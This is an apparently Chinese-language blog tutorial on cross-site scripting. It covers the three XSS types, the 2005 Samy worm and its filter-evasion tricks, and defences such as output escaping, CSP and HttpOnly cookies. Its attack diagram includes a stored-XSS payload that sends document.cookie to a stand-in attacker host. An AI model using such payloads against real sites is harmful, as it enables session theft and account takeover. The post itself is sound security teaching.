Luke a Pro

Luke Sun

Developer & Marketer

🇺🇦
EN||

跨站脚本攻击 (XSS)

| , 2 minutes reading.

1. 定义

跨站脚本攻击 (Cross-Site Scripting, XSS) 是一种注入漏洞,当应用在未经过滤或转义的情况下,将不受信任的数据包含在网页中时就会发生。这允许攻击者在受害者的浏览器中执行恶意脚本(通常是 JavaScript),且该脚本是在受影响网站的**源(Origin)**下运行的。

由于恶意脚本是由受信任的域名本身提供的,攻击者借此绕过了浏览器的同源策略 (Same-Origin Policy, SOP)

2. 技术原理

浏览器通过解析 DOM 中的 JavaScript 来实现交互。如果攻击者能将 <script> 标签或事件处理器(如 onload)注入到 DOM 中,浏览器将无法区分它是合法代码还是恶意代码。

主要分为三种类型:

  1. 反射型 XSS (Reflected XSS):有效负载通过请求(如 URL 参数)传递,并立即在响应中反射。通常需要受害者点击恶意链接。
  2. 存储型 XSS (Stored XSS):有效负载被保存到数据库(如评论、个人资料),之后被发送给其他访问该页面的用户。
  3. DOM 型 XSS (DOM-based XSS):漏洞存在于客户端代码中,代码使用不安全的源(如 location.hash)来修改 DOM,而不经过服务器。

3. 攻击流程 (存储型 XSS)

sequenceDiagram
    participant Attacker
    participant Server as Web 应用
    participant DB as 数据库
    participant Victim

    Attacker->>Server: 1. 发送 POST /comment ("<script>fetch(attacker.com?c=document.cookie)</script>")
    Server->>DB: 2. 保存评论 (未经过滤)
    DB-->>Server: OK

    Note over Victim: 稍后...
    Victim->>Server: 3. 访问 GET /comments
    Server->>DB: 获取评论
    DB-->>Server: 返回包含攻击负载的评论
    Server-->>Victim: 4. 返回包含恶意脚本的 HTML
    
    Victim->>Attacker: 5. 脚本执行 -> 发送 Session Cookie
    Note right of Victim: 账号被接管

4. 真实案例:Samy 蠕虫 (MySpace, 2005)

目标: MySpace 用户个人资料。 漏洞类别: 存储型 XSS。

Samy Kamkar 发现 MySpace 允许用户使用 HTML 自定义个人资料,但过滤了诸如 <script> 之类的明显标签。

绕过方式:

  1. 过滤器规避: MySpace 封锁了 href 属性中的 “javascript”,但 Samy 发现浏览器会忽略换行符:java script
  2. CSS 注入: 他将负载注入到 CSS 的 background 属性中:background:url('java script:...')
  3. 有效负载: 该脚本执行了两个操作:
    • 将 “Samy” 添加为好友。
    • 编辑受害者的个人资料,以复制这段恶意代码本身(自我复制)。

影响: 在 20 小时内,超过 100 万用户 被感染。MySpace 不得不关停整个网站以清理数据库。这被认为是史上传播速度最快的病毒。

5. 深度防御策略

A. 上下文感知输出转义 (Context-Aware Output Encoding)

转义必须根据数据所处的位置进行针对性处理。

  • HTML 正文:&, <, >, ", ' 转换为实体(如 &lt;)。
  • HTML 属性: 必须使用带引号的属性,并对属性值进行转义。
  • JavaScript 变量: 使用 Unicode 转义序列(如 \u003c)。
  • CSS/URL: 使用严格的 URL 编码。
  • 工具: 使用自动上下文转义引擎(如 React/Angular/Vue 的默认行为,或 OWASP Java Encoder 等库)。

B. 内容安全策略 (Content Security Policy, CSP)

这是一种浏览器层面的防御,用于限制可以加载资源的来源。

  • 禁用内联脚本: 阻止 <script>...</script> 代码块运行。

  • 设置允许来源: 仅允许来自 self 或受信任 CDN 的脚本。

  • 基于 Nonce 的 CSP: 为每次请求生成随机 Nonce,只有带有匹配 Nonce 属性的脚本才能执行。

    Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic';

将会话 Cookie 标记为 HttpOnly

  • 这可以防止 JavaScript 通过 document.cookie 访问 Cookie。
  • 虽然它不能阻止 XSS 本身(脚本仍可发起请求),但它能有效防止简单的 Session 令牌窃取。

6. 参考资料